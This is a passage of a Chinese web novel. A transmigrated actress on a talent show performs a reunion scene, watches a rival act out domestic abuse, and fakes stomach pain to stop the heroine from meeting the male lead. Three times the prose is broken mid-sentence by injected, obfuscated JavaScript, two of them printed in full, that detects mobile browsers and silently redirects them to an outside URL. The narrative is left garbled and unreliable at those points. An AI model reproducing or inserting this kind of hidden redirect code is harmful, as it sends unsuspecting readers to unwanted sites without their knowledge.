说完,场下传来一些被逗笑了的声音。 主持人也会心一笑,她适时接话:“心态很好嘛,那你有信心在本轮中晋级吗?” 顾映摇摇头:“我特别感谢这次节目给我一个’回炉重造‘的机会,这次来这个节目,我就是清零血槽来跟各位老师们学习的,我不敢说我有信心晋级,但是我敢说只要能得老师们一句指点,我一定能有所进步。” 这番话既适当自黑,又避免狂妄,最后给自己留了个有所进步的台阶。 几位老师都露出了善意和鼓励的微笑,祝怀疆点点头道:“我很期待你接下来的表演。” 主持人道:“好的,我看到映映刚刚抽到的题目是「与暗恋之人重逢」。”她往后退了一步,举手做出邀请的姿势,说道:“让我们看看你是如何诠释暗恋与重逢这几个字的。” 说完,舞台灯光骤暗,随后又慢慢亮起,聚光灯打在顾映身上,仿佛她就是这个世界的主角。 原书剧情中顾映映给自己规定的情景是「与年少时的暗恋对象在咖啡馆重逢」,但是她过于注重「重逢」两个字,却忽视了暗恋这一细腻的情感表达,被导师们评价“流于表面”。 就此止步第一轮。 而这种半命题式即兴表演,在学校课堂上是表演老师常考的项目,对顾映来说并不算难。 但是顾映映一个非科班三流演技选手,如果突然演技变好又显得太过突兀,其他人不了解顾映映,可沈颂绝不一定。更何况网友们对顾映映的演技评头论足了那么久,演技差这三个字差不多已经是她的代名词了。 思考了一会儿,她决定第一次的表演机会,还是先按顾映映的路数,选了一位节目组提供的男助演,演一场流于表面的「久别重逢」。 随着一声action指令,表演开始。 【“你好,一杯冰美式加燕麦奶,谢谢。”顾映点完单后,坐在吧台边等着。 突然,门上的铃铛响了,有人开门走了进来。 顾映抬眼看过去,店外走进来一位男士,在看到他的脸时,顾映愣了愣。 “你……” 男士听到声音,也看向她,四目相对时,顾映露出一抹笑容,她走上前去:“你是赵钱吗?我是顾映映啊,你还记得我吗?” 赵钱愣了一下,随即露出一抹尴尬的微笑:“不好意思……” 顾映道:“嗐,这么多年不见,你不记得我也正常——】 “停!” 嘴边未说完的台词戛然而止,听到声音的顾映和男助演立刻停止了表演,她向助演礼貌表达了一下歉意,转头看向评委席出声叫停的祝怀疆。 意料之中的,这位严谨的老师眉头紧皱,一副被辣到眼睛的样子。 他很不客气的评价道:“你知道你刚刚最大的问题是什么吗?最大的问题就是全是问题!” 顾映虚心的鞠躬道:“还请祝老师指点一二。” 见她态度还算端正,又是女娃,祝怀疆尽量收敛语气:“你的主题是与暗恋之人重逢,我不管你们怎么重逢,但情感都要表达出来,干巴巴的一句’你还记得我吗?‘,是满怀欣喜,还是忐忑情怯,我通通看不出来,不知道的还以为你是想搭讪,不对,搭讪的人都比你感情细腻!” 说完,他好像还觉得不够,转头看向一旁的沈颂绝,没好气道:“你看出来她想表达什么情绪了吗?” 沈颂绝似笑非笑的看了一眼顾映,毒辣道:“我想,她可能是想借钱吧。” “哈哈哈哈!”一旁的周震没忍住,大笑出声。 顾映:“……” “你看吧。”祝怀疆似乎没听出沈颂绝的嘲讽之意,拍着桌子语重心长的道:“你的表演没有内容,你得表达,否则观众会理解出其他意思来。” 闻言,顾映瞥了一眼坐在台下的那位“观众”,她勾唇笑了笑道:“非常感谢祝老师的指导,我刚刚好像有了新的领悟,我可以申请再来一次吗?” 前面也有几位选手因为紧张,第一遍没有表现好申请了再来一遍,导师们也都宽容的给予了第二次机会。 似是也猜到了她会这样说,祝怀疆说:“当然可以,不过希望这次你不是在耽误大家的时间。” 顾映轻轻挑眉,从容淡定:“但是这次我想提个小请求。” 主持人适时接话道:“什么请求?” “这次我想请沈老师来做我的搭档。” “哇!”台下传来观众鼓掌起哄的声音。 这是目前为止,第一个敢请导师助演的选手,还是选了最帅的那一个。虽然网络上对顾映映的风评褒贬不一,但是谁不愿意看男帅女美的戏码呢。 听到顾映的要求,沈颂绝倒是面不改色,他注视着她,二话没说,从容起身,走到台上。 底下三位导师一脸看热闹的表情,祝怀疆尤其兴味,他倒要看看这风评不佳的女娃在他的得意门生底下能演出什么来。 “你想怎么演?”沈颂绝站在她面前,不掺杂一丝情绪的说道。 顾映嘴角微扬:“还按之前的设定,请沈老师演我的暗恋对象,这次我会像祝老师教的那样,尽量注意情感的表达。” 沈松绝不置可否,他点点头,示意她可以开始了。 随着再次action的指令响声,表演开始。 【“你好,一杯冰美式加燕麦奶,谢谢。”顾映点完单后,百无聊赖的坐在吧台边等着,她一边摆弄着吧台上的小摆件,一边眼神虚焦的发呆。 直到咖啡馆门上的铃铛响起,她才回过神来,抬眼看向门口。 有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她喉头哽了哽,强迫自己保持微笑:“没关系,你接吧。” 电话很短,他只是简单的说了几句“下午三点半的飞机”“很快就回去”之类的话。挂断后,他不好意思的笑了笑:“我女儿有点发烧,太太担心,让我早点回去。” “哦……”她无意识的应了一声,随后发现自己似乎有些失态,这样太不礼貌了。 她无措的假装向四周看了看,趁机眨了眨有些酸涩的眼睛。 过了会儿,她故作随意的转回头,干巴的笑了几声:“没想到你都结婚了,这时间过的真快啊。” 然后又顺嘴问道:“孩子几岁了?” “9个月,还不会走路。”似乎是没注意到她的不自然,他说到孩子的时候,眼里充满了温柔。 顾映看着他熟悉又陌生的脸庞,少了年少时的青涩,多了为人夫为人父的成熟稳重,那瞬间,仿佛停滞的时间又缓慢流淌起来,告诉她该往前看了。 “你呢,成家了吗?” “啊,还没。”顾映很快回道,想了想,她又撒了个小谎:“谈着呢,估计快了。” “那下次有机会过来,我请你和你男朋友吃饭。” “好呀,等你过来记得联系我。” “那我们留个联系方式?” “好。”顾映拿出原本收回去的手机,心情却与刚才截然相反。 她低着头,点开二维码的手指似乎有些颤抖,但努力忍住了,她不自觉地又喃喃了一句:“时间过的好快呀……” 不知道是说给自己听的,还是说给对方听的。 当孙李准备离开时,他突然问道:“对了,你还记得毕业前,你往我抽屉放的那封信吗?” 顾映觉得全身的血液都凝固了。那封她花了整整一周时间写好的告白信,最后却没有勇气当面递给他,只能偷偷塞进课桌。后来见他没有任何反应,她还以为他没有收到。 “你……收到了?”她的声音几乎微不可闻。 他表情变的复杂:“收到了,但我当时决定去北方的大学,我觉得……异地恋太难了,所以没有回应。”他停顿了一下,“后来想想,可能伤害了你,一直想道歉。” “没关系。”顾映苦涩的笑了笑,“都过去了。” 他似乎还想说什么,但最终只是点了点头:“保重,有机会再聚。” 顾映露出一个淡淡的微笑,她掩了一下鬓角,语气中带着一丝释然和祝福:“很高兴今天能再见到你,希望你跟妻子、宝宝一切都好,期待下次再见。” “你也是。” 他拿完咖啡,转身离去。 顾映看着他的背影,驻足良久,随后仰起头,吸了吸鼻子,叹了口气,又重新露出微笑。】 “停!” 5. 进步神速 灯光缓缓亮起,顾映带着脸上未消失的微笑看向走回评委席的沈颂绝,好像还未从方才的情感中抽离出来。 原本设定好的剧情只是与暗恋对象久别重逢的简单片段,没想到这人居然加戏,扯出个已婚戏码,引得她不得不临时多加了几种情绪。 祝怀疆面露赞赏:“这要不是亲眼看你演了两个版本,我都怀疑中途换人了。” 顾映莞尔一笑,她谦虚道:“这还要谢谢祝老师刚刚鞭辟入里的指导,我受益良多。当然也要感谢沈老师一直给我递戏,他细致入微的表演一下子就将我带入到那个情境里去了,让我很快抓住了情绪。” 官方话说完,她迫不及待讨巧地笑道:“不知道我刚才的表演是不是有所进步呀?” “与第一版相比,自然是进步许多。”祝怀疆眼睛亮晶晶的,他看向沈颂绝:“小颂,刚刚是你搭的戏,你最有发言权,评价一下?” 顾映也眼神亮晶晶地看向沈颂绝,一副期待的样子。 沈颂绝想起刚刚演戏时,两人四目相对的刹那,她眼中流淌出的情感,也让他不由地陷入进去,好像两人真的是久别重逢,女孩眼中有欣喜也有不安,那忍不住溢出来的期待和酸涩让人一眼就能看出。 但是一个人真的能在这短短时间内进步如此之快吗? 而且这个人还是顾映映。 “情感细腻丰富不少,除了起名风格独特以外,在细节的处理上进步很多。”他评价之余还不忘吐槽一下她。 “哈哈哈哈。”周震大笑出声,他好奇道:“你这是要把百家姓用个遍吗?” 顾映微窘:“我怕叫现实的名字会让自己出戏,但又不擅长取名,只好拿现成的用了。” 一直没说话的岳碧酬说道:“你刚刚表演时,手忙脚乱、头撞吧台的样子真的很真实,让人一下子就能感觉到你的慌张和无措。你能在祝老师短短几句指导下就能进步如此神速,这让我开始期待你接下来的表现了。” “谢谢各位老师。”顾映真诚地鞠躬。 等待许久的主持人终于等到了她的戏份,她迫不及待地宣布:“好的,谢谢映映的精彩表现。现在让我们一起来看看各位评委和观众的打分情况!” 随着一段鼓点节奏音乐的引入,大屏幕上慢慢显示出分数来:导师评分平均分:46.25;观众评分平均分:32.78,合计79.03分。 暂居总排名第五位。 估计是第一段演的太拉垮了,这个评分倒是在顾映的意料之中。只要能苟到下一轮,她就算成功了。 回到后台时,顾映原本的位子上已经坐了别人,她只得重新找了一处空位。 很快,便到了林清弦上场。 原书中,林清弦在第一轮第一场中就表现优异,以第二名的成绩成功晋级下一轮。 她所抽签文的主题是:「被家暴的女人」 原本,这一主题对于她一个未婚且刚出道的小女孩来说,并不是一个简单的题目,但悲哀的是,她偏偏就是将这段表演的入木三分。 众所周知,古早文不仅盛产霸道总裁,还会将女主角的身世悲惨值拉满,为主角的成长之路添火加油。 而林清弦的不幸就体现在她的原生家庭上。 农村出身的她,从小就是个留守儿童,与爷爷奶奶相依为命,长到七岁时,爷爷奶奶相继去世,才被在城里务工的父母接到身边。 原本以为是一家团聚,却没想到是破碎的开始。 林父林母年轻时也曾在城里好好经营一家小店,虽没有大富大贵,却也算将小日子过的幸福美满。 因为第一胎是个女孩子,林父一直还想再生个男孩。可林母生林清弦时家庭清苦,没有做好月子,又为家庭劳累,身体留下病根,一直再难以怀孕。 久而久之,林父逐渐生出其他心思,曾试图出轨养小三,却没想到钱财全被小三坑走,惹了一屁股债,还在鬼混时染上了毒瘾。后被拘留强制戒毒三年才被放出,落得个穷困潦倒的局面。 好在林母带着林清弦一直没有放弃家里的小店生意,靠着微薄收入一边还债一边等林父回家。 戒毒回来后的林父起初还声泪俱下发誓痛改前非,但是时间不久又原形毕露。 自卑又自傲的他不屑于靠女人,但是没什么能力又不思进取,导致做什么亏什么。最后整日酗酒,喝醉了就对林母动辄打骂,林母曾试图反抗,但终究没抵过男人的精神pua。 那时的林清弦也不过十岁左右,长期目睹父亲虐打母亲的残忍场面,甚至林父有时暴虐起来,连她也打,小小年纪心理上留下了不可磨灭的阴影。 直到林母的身体实在撑不住,在邻居的帮助下打了120送去医院,林父家暴这件事才算彻底被曝于眼前,这事在当时还上了当地的社会新闻。 后来林父林母离了婚,林清弦被判给了妈妈,母女两人相依为命至今。但是林母在当年的虐待中也彻底留下了病根,又患上了抑郁症,长期靠药物治疗。 林清弦满了18岁后,就辍学出来打工挣钱。高昂的医疗费压在她瘦弱的肩膀上,时常让她喘不过来气,以至于被星探发掘时,她毫不犹豫答应进入娱乐圈。 她迫切地需要钱。 通过书中寥寥几段文字,也许并不能感同身受,但是当顾映通过大屏幕,亲眼看到林清弦表演这一段时,她才意识到,在这书中世界,林清弦曾活生生经历了那残忍的人生。 【女人蜷缩在墙角,双手紧紧抱住膝盖,试图将自己缩的更小一些。 她不敢哭,生怕一点点声音都会激怒他,但是生理上的疼痛和恐惧让她止不住地抽噎,越忍耐越抽搐,这令她不得不绝望地闭上眼睛。 男人越走越近,站在她面前,高大的身影笼罩着她。 他的呼吸粗重,带着酒气,眼神充满暴戾与失控,他随手拿起手边能抄起的东西就摔打过去,一边嘶吼着:“你是不是也看不起我,是不是也觉得我一无是处?” 她没有回答,也不敢回答。 她的喉咙像是被什么东西堵住了,发不出任何声音。 “你他妈说话啊!”他的声音陡然提高,像一道炸雷。 她的身体猛地一颤,眼泪不受控制地涌出来,但她不敢擦,她缩着肩膀,努力摇着头:“没有……没有……” “你骗我!”他一只手拽住她的头发,强迫她抬起头。 在看到她恐惧的眼神后,男人带着愤怒将她推倒在地,她的后脑勺撞在地板上,发出一声闷响。她双手护住头,身体微微颤抖,等待着下一击的到来。 但他没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420706|200834||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 继续动手。他只是站在哪里,喘着粗气,一时间,房间里安静的可怕。 直到女儿一声颤抖的“妈妈”打破了这诡异的气氛。 男人带着酒意的眼神回头看向站在门口的女儿,突然笑了一声,他招了招手:“到爸爸这来。” “小英,不要过来!”女人嘶哑出声,她恶狠狠看向男人,颤抖着说:“你不准碰她!” “阿弦,你什么意思,她也是我女儿,我是她爸爸!”男人猛地掐住她的脖子,眼中充斥着疯狂和扭曲的自卑:“你觉得女儿是你养大的,我没资格当她爸爸了是吗?” 小女孩带着哭腔冲过去,她瘦小的手努力掰着男人的手,一边拍打一边哭喊:“你放开我妈妈!你放开她!” “滚开!”男人一个挥手,将女儿打开,小女孩不受力,胳膊磕到桌角,尖叫出声。 时间仿佛在这一瞬间凝固。 女人嘶吼出声,电光火石间,她扑向桌子上的花瓶,朝着男人的头砸去。水花和瓷片一起喷溅而出,也击碎了她最后一道心理防线。 “贱人,你敢打我?”男人抹了把额头上流下的血,不可置信地看向她。 女人眼神阴沉地看着他,里面透着一丝疯狂,她抹了一把脸上的眼泪,咬牙切齿道:“……我要你死!”】 “停!” 现场突然叫停,所有人才如梦初醒。 过了几秒,众人才发现刚刚那声停是沈颂绝喊的。只见他与现场导演耳语了一声,导演点了点头,让主持人快速上台控场去了。 顾映紧紧盯着大屏幕,林清弦最后那一秒的眼神还深深印在她的脑子里。 刚刚,林清弦出戏了,她演的不再是被家暴的女人,而是一个想弑父的女儿。 如果不是沈颂绝及时叫停,助演演员可能真的会被她伤到。 “清弦看来是入戏太深,我们所有人都沉浸进去了!”主持人拿着话筒走上前去,可能同样是女人,她也敏感的发现了一丝不对。她抽了几张纸巾递给林清弦,温柔地说:“来,擦擦眼泪,让我们一起听听评委老师的点评。” 祝怀疆少见地沉吟了半晌,少倾问了她一句:“最后那一刻,你觉得你是入戏了还是出戏了?” 林清弦愣了一下,随后理解了祝怀疆话中的意思,她深深鞠躬:“抱歉,我刚刚失误了。” “但,瑕不掩瑜。”祝怀疆脸上肌肉松了松,他慈祥地笑道:“天高任鸟飞,你的路还很长。” “哇,这是很高的评价了吧?” “第一次见祝老师笑的这么慈祥。” “这是看到好苗子的笑容。” “我第一次近距离感受到家暴,刚刚的花瓶是道具吧,好逼真,太吓人了……” “……” 休息室内传来其他选手躁动的讨论声,有赞叹的,也有嫉妒的。 顾映嘴角挂着笑,暗地里跟系统说起悄悄话:“如果不是被剧情给困住,她一定能飞的更高。” 系统反问:“这不是我们正在做的吗?” 顾映怔了一下,随即笑开:“你说得对!” 最后,林清弦第一轮总得分:86.54,总排名第二,成功晋级下一轮。 而顾映,靠着“进步神速”这个标签,也顺利从第八名苟到了下一轮。 6. 装病阻拦 根据第一轮赛制,总分排名后十位的参赛选手将要面临被淘汰的局面。 一次就要淘汰半数,众人直呼残忍。 男男女女纷纷站起,涌向一轮游的选手们,开始假模假样的流泪告别,拥抱的难舍难分。一时间,公共休息室内充斥着鼻涕眼泪交织弹奏的乐曲。 不过就一起住了几天的交情,搞的好像生离死别一样。 顾映最不擅长处理这种局面,干脆抱着纸巾盒站在门口,贴心的给每一位提供递纸服务。 几位导师也体贴的来到后台,与淘汰选手告别。 当然,这些也要录进镜头里,至于是做戏还是真情流露,就不得而知了。 导师们或给予安慰的拥抱,或说上几句祝福的话语,只有沈颂绝,气定神闲、事不关己地站在那里,最多也就是和选手们握握手、拍拍肩膀。 几位女演员蠢蠢欲动,互相推攘不敢上前。 好半天,只见余佳缘作为首轮被淘汰的选手代表扭扭捏捏地走到沈颂绝面前,夹着嗓子说:“沈老师,对于今天的表演,我觉得我还有很多欠缺的地方,您能否给我一些表演技巧上的建议?” 沈颂绝后退半步,沉默半天才想起她今天表演的是什么主题,想了想,他尽量委婉道:“我建议你先从‘人类基本情绪辨认’开始练习。” 余佳缘:“……” 一旁不小心听见的顾映忍不住噗嗤笑出声来。 两人的视线纷纷投到她身上。 顾映笑容僵在脸上,她尴尬地抿住嘴,举起手中的纸巾:“……你们需要纸吗?” 余佳缘转身面对她,不屑地翻了个白眼。 反正她也淘汰了,没必要再演什么塑料姐妹情。 几人刚好站在靠近门口的位置,不在镜头的录制范围。 她不服气地走到顾映面前,压低嗓音,用仅有两人听见的声音阴阳怪气道:“顾映,你凭什么嘲笑我,你以为你的演技有多好吗,p站可全是你的恶剪视频。” 顾映做了一个’暂停’的手势,在余佳缘不明所以的目光里,她看向余佳缘身后的沈颂绝道:“沈老师,可以麻烦您去指导指导其他同学吗?我和余同学想进行一个单独的学术交流。” 麻烦您让让,我们俩要掰头一下。 听懂言外之意,沈松绝微微挑眉。他当然不会管她们之间的龃龉,但身为导师,他还是叮嘱道:“文明交流。” “那当然。”顾映笑眯眯地说。 沈颂绝未再看她,转身朝祝怀疆的方向走去。 顾映收回目光,看向面前的余佳缘:“首先,我没有嘲笑你,其次,我演技一般,但应该比你好,最起码我晋级了。” “呵,那又怎样,你不过是运气好而已。” “嗯,我承认。”顾映点点头,随即欠揍道:“可运气好也是能力的一部分啊,你说气不气人?” “你!”余佳缘咬牙切齿。 参加这个节目前,她的经纪人给她加油鼓劲说,即使再差也会有顾映映垫底。 没想到她现在不仅一轮游,原本在她们心目中内定的倒数第一居然还成功晋级下一轮。 打脸不说,还被顾映映撞见她被沈颂绝嘲讽,简直是奇耻大辱。 “你以为你能一直运气好吗?你也不过就比我多一轮而已。” 顾映了解余佳缘这类人的心态,不过是觉得大家同样是乞丐窝里的邋遢玩意儿,突然一天,其中一个得贵人赏识了,还回头嘲讽她低人一等。 想着,顾映也懒得跟她斗嘴,无所谓道:“我能不能挺过下一轮不知道,但我知道的是你肯定止步于此了。”她抽了一片纸巾出来,捂住口鼻道:“对了,建议你去吃点益生菌调理调理肠胃,嘴太臭了,影响形象。” 说完也不等她还嘴,转身离开,留下余佳缘原地跳脚。 远远的,她看见林清弦一个人坐在座位上,似乎与周围茂盛的情绪氛围格格不入。不知是未从表演的情绪中抽离,还是也跟她一样不擅长参与假情假意的戏台。 林清弦垂头看着自己的鞋尖,但脑海中却忍不住回想起父亲骇人的眼神。 那是禁锢她母亲一生的牢笼,也是她挥之不去的噩梦。 突然,视野中递进来一只白色千纸鹤。 用纸巾做的。 她顺着主人的手腕看上去,顾映笑意盈盈地看着她道:“老师说天高任鸟飞,但是有枷锁的鸟可飞不起来哦。” 林清弦愣了一下。 反应过来顾映的言外之意,她接过千纸鹤,依旧低着头,情绪不是很高涨:“谢谢。不过这枷锁太重了,小鸟太没用,暂时还摆脱不了。” 顾映在她身边坐下来,认真道:“未经他人苦楚,也没资格说什么大道理。但我相信,人生这条路总会遇到转机。”她转头看向林清弦,“人不会一直运气差的。” 林清弦抬起头来。 她盯着顾映打量了好一会儿。 在顾映疑惑的眼神中,她笑出声来:“映映姐,我本来以为你是个……没想到你居然是面冷心热的人啊。” 知道她评价的是顾映映,但顾映还是故作好奇追问:“你原本以为我是个什么样的人?” 林清弦摇摇头,笑眼弯弯道:“当然是个很好的人!” *** 日月轮转,星星挂上夜空。 此时所有参赛选手都已精疲力竭回到宿舍,但是诺大的集体宿舍内还安置了无数个摄像头,只要还在公共区域,就代表录制没有结束。 顾映实在没力气和这么多人社交,进了客厅后,就拿着手机一头扎进角落的沙发里。 她不习惯在社交软件上用顾映映的账号,但是毕竟替了她这个身份,有时候还是不可避免的需要登录上去看看,确认没有什么需要回复的信息后,她再切换到自己重新注册的账号上去。 微信里好友寥寥无几,主要是综艺录制以来加的一些工作人员、导演以及同期录制的其他艺人。打开朋友圈逛逛,发现还没有顾映映的朋友圈有意思。转战微博,大多是来问候顾映映父母的黑粉,正儿八经送祝福的犹如屎里淘金。 她不由地打了个呵欠,看了眼手机时间,才过去八分钟。 正准备起身吃点东西,手机跳出一条微信信息。 “袁导在群里发消息了!”有人喊了一声。 【有啤酒肚的仙男】:「为了庆祝第一期节目的顺利录制,我们的金主爸爸、投资方请各位参赛选手、以及工作人员们吃宵夜!地点我稍后发在群里,没有特殊情况的都要来哈,给金主爸爸个面子哦。」 过了会儿,群里发来一个定位:【观澜大厦】。 顾映垂死梦中惊坐起,点开微信,把这个名字反复看了几遍。 这是金鸣市有名的高端圈层社交会所,在原书中经常被提及,原因是这家会所的背后老板就是原书男主祁裕。 而林清弦和祁裕的初次见面就是在观澜。 她重新在脑子里过了一遍男女主初遇的片段,劳累了一天的脑子瞬间清醒。 如果说,顾映映是女主虐文路上的搅屎棍第二,那男主祁裕绝对是搅屎棍第一名。要不是因为他的渣男体质,女主也不会被虐的如此深切。 一位敷着面膜的女艺人拿着手机激动地叫起来:“听说这次的投资方是祁氏集团!!” 闻言,留着一头利落短发、名叫穆泠的女艺人好奇地问:“黄乐,你说的祁氏集团是滨海那个祁氏吗?” 黄乐兴致勃勃地凑过去分享自己所知道的信息:“是啊是啊,传闻中祁氏是在东南地区有名的豪门世家,在房地产和金融业方面根基深厚。听说现在祁氏有意进军娱乐行业,成立了云冕传媒公司,没想到第一个投资的居然就是咱们的节目!” 喜爱八卦的女人扎了堆,穆泠也高兴地凑过去:“听说祁氏总裁祁裕多金帅气迷人,花边新闻不断,但是从来没有人见过他的真面目,你说我们今晚有没有这个运气能见到他呀?” 黄乐斜睨她一眼:“怎么,你还想像霸道总裁小说里那样,来个浪漫邂逅,嫁入豪门呀?” “难道你不好奇祁氏掌权人的庐山真面目?” “当然好奇,但是他鲜少在公共场合露面,金主爸爸请吃饭,可能也就是祁氏哪个高管出席,不一定能见到祁裕。” “说的也是。” “也许这个祁裕是因为长相不如传闻中那么优秀,所以才很少露面呢?”一道清脆的声音突然加入两人的讨论,黄乐和穆泠都愣了一下,转头看向声音的主人。 顾映也看过去,发现说话的是林清弦。 黄乐和穆泠相视一眼,认同地点点头:“你说的也有道理。” 穆泠:“别讨论了,咱去看看吧!” 一群年轻少女眼里散发着求知若渴的光,都带着对神秘男人的好奇。 顾映叹了一口气,好奇心害死猫啊。 林清弦看向顾映:“映映姐,一起去啊。” 顾映还没来得及说话,从里间走出来一位四十多岁的女艺人,名叫朱茜,也是在第一轮表演中暂时排名第一的选手。 她一边整理着脸上的面膜一边道:“奉劝你们一句,娱乐圈这种地方,最好不要抱太多妄想,否则害人害己。” 顾映深以为然地点点头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420707|200834||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三位年轻女演员或许还没有过多经历过圈内的鱼龙混杂,或许是已经经历过但不以为然,穆泠撇撇嘴道:“茜姐哪有你说的这么严重,我们就是好奇,又不打算做什么。” 话音刚落,现场的工作人员小心拉开门,探进一颗头来:“各位老师,节目组安排了一辆中巴,20分钟后统一出发去观澜会所。” 黄乐哀嚎道:“才20分钟?我还得化妆换衣服呢!” 工作人员抱歉的笑笑:“不好意思,毕竟是投资商请客,我们也不好让甲方等呀。”说完,头一缩赶紧走了。 林清弦走过去善意的拍了拍黄乐:“没关系,时间足够,我们一起帮你搭配衣服和妆容。” 黄乐展颜:“好呀,那……” “啊!” 话音被打断,一旁突然传来一道痛苦的尖叫声。 沙发上的顾映抱着肚子连人带毯子一起滚到地上,一边滚一边哀嚎:“哎哟,我肚子好疼啊!疼死我了!” 她的声音叫的又大又凄厉,不仅客厅的几人被惊了,连带着第一轮被淘汰还在宿舍收拾行李的几人也纷纷从卧室内跑出来。 “怎么了?怎么了?” 客厅四人跑向顾映,几人合力将她扶回沙发,担忧道:“映映,你怎么了?” 顾映一把抓住蹲在沙发边的林清弦,气息不稳道:“不知道怎么了,突然肚子绞疼,我快不行了!” 为了形象逼真,她隐在袖子下面的手,已经快把大腿掐烂了。 她满脑子就一个目标,绝对不能让林清弦去观澜!谁爱去谁去! 朱茜狐疑道:“怎么这么突然,刚刚还好好的。” 顾映又加大力道狠狠掐了一把,一瞬间眼泪盈满眼眶,她抽着气道:“我……好疼……” “是不是急性阑尾炎啊?快送医院吧!” “听说节目组有安排卫生员,我先去问问。” “我去找导演。” “我去隔壁男寝找几个人来帮忙。” 一时间你伸手来我帮忙,几个人把顾映安排的明明白白。 顾映:“……” 不是,不对,你们什么时候这么团结这么热心肠了? 她只得拉着林清弦的手,故作虚弱道:“你们别忙活了,不是还要去观澜么,不用管我。” “那怎么行!”林清弦出声道:“其他姐姐们都去吧,我留下来陪你去医院。” 顾映感激含泪猛点头。 “我留下来吧。” 顾映转头,朱茜不知道什么时候已经卸掉面膜过来道:“我年纪大,早睡,也不想去吃什么宵夜,我留下来陪顾映映,你们年轻能熬的去吧。” 林清弦犹豫:“可是……” 朱倩果断道:“别可是了,我本来就不喜欢那些场合,你们去就好了。” 见林清弦有被说动的迹象,顾映赶紧道:“茜姐,您是前辈,我哪好意思麻烦您。清弦跟我是同公司的姐妹,这种时候,我只能麻烦她一下了。” 说完她泪眼婆娑的看向林清弦,茶言茶语道:“清弦妹妹,你不会不管我的对不对?” 林清弦愣了愣,刚要张嘴,有工作人员跑过来说道:“各位老师都走吧,我们现场工作人员会陪同的,也联系了顾老师的助理,她已经在来的路上。” 顾映:“……” 一个古早小说而已,这么讲逻辑干什么?这时候主角不应该圣母光环普度众生,林清弦就得拉着她的手非要陪她去医院直到看她安然无恙然后说一句幸好没事吗? “各位老师先散开,保持通风,让卫生员先给顾老师看看。”工作人员说道。 众人听话的散开,顾映生无可恋地看着戴口罩的卫生员。 卫生员按了按顾映的右上腹:“按这里疼吗?” 顾映像个死鱼一样瞬间折成大于号:“疼疼疼!” 卫生员又按了按她的右下腹:“这里呢?” “哎哟疼疼疼!” “这里呢?” “也疼!” “有恶心想吐的感觉吗?” “有!我现在看人都模糊不清了。”顾映开始胡言乱语:“我拉着的是谁呀,别放开我,我害怕!”说完,她又紧了紧抓林清弦的手,像个泼皮无赖。 “……”卫生员站起身道:“送医院吧,可能食物中毒了。” 就在顾映死拉着林清弦不放的时候,人群突然分开一条道,有人走过来,说道:“我来送她吧。” 所有人都惊讶地看向来人。 顾映转头看去,内心忍不住爆了一句粗口。 沈颂绝,你这时候来凑什么热闹!! 7. 戳穿谎言 “我在金鸣住的地方刚好离人民医院很近,送完她回去很方便。”沈颂绝言简意赅地解释。 “其实工作人员陪同也可以……”到这时候,各位女同胞们又不团结不热心肠了,因为谁也不想沈颂绝的护花使者名额被顾映映先占去。 她甚至还听见余佳缘在一旁小声地蛐蛐:“别是故意装的吧……” 顾映心虚:“……” “各位累了一天了,这么晚外出也不安全。不用担心,我已经让人通知导演,等顾映映的助理到了,陪同的工作人员会处理好相关事宜的。”沈颂绝道。 “哇,沈老师好绅士好体贴呀,我都想生次病了。”这时候还有人花痴上了。 顾映无语:“……” 她第一次对沈颂绝有了咬牙切齿的感觉。 奸人坏我大计! 直到她被人扶上车的时候,她才知道什么叫搬起石头砸自己的脚。 节目组后勤部的小吴开车,沈颂绝坐在副驾,顾映像只咸鱼横躺在后座。 她看着车顶欲哭无泪。 *** 夜晚的急诊室灯火通明。 医生护士们匆匆穿行,医疗器械滴滴鸣叫,其间夹杂着病号的呻吟声以及家属的啜泣声。 小吴去大厅缴费了,沈颂绝靠在床边,戴着帽子和口罩,捂的严严实实,冷眼看着安详躺在床上的顾映。 顾映看似安详,实际上已经走了有一会儿了。 她疯狂的在脑内和系统蛐蛐:“这沈颂绝脑子有毛病吧,他一个公众人物陪我来医院,他不怕上头条啊!” “还有这不是霸总文吗,为什么不是直接去私立医院豪华vip总统病房,怎么到人民医院公共急诊室了?是社保能报销还是怎么的?怎么办,我感觉已经有人在看我们了!” 系统道:“宿主,您还是赶紧想办法离开吧,这会儿林清弦和祁裕估计都已经见上面了。” “这不正想着呢么,我比你还着急!” 这沈颂绝怎么还不走啊!顾映暗暗叫苦。 她缓缓睁开眼,与沈颂绝的视线对了个正着。 她只得装作迷迷糊糊的刚清醒过来,压着嗓子道:“你怎么还没走?” 沈颂绝冷哼一声:“你疼的像有人剥了你的金丹似的,我要是走了还怎么看好戏呢?” 顾映装傻:“……你说什么,我没明白你的意思。” 沈颂绝双手插兜,好整以暇的看着她:“怎么,你还真想把医院所有检查来一套?” 顾映嘴硬:“那怎么的,我有医保我怕啥。” 沈颂绝都被气笑了:“顾映映,大晚上的占用医疗救护资源,你真好意思?” 闻言,顾映理亏的闭上了嘴。 她本来只想着用肚子疼的理由让林清弦留在宿舍陪她,谁知道弄巧成拙真把自己弄进医院了。 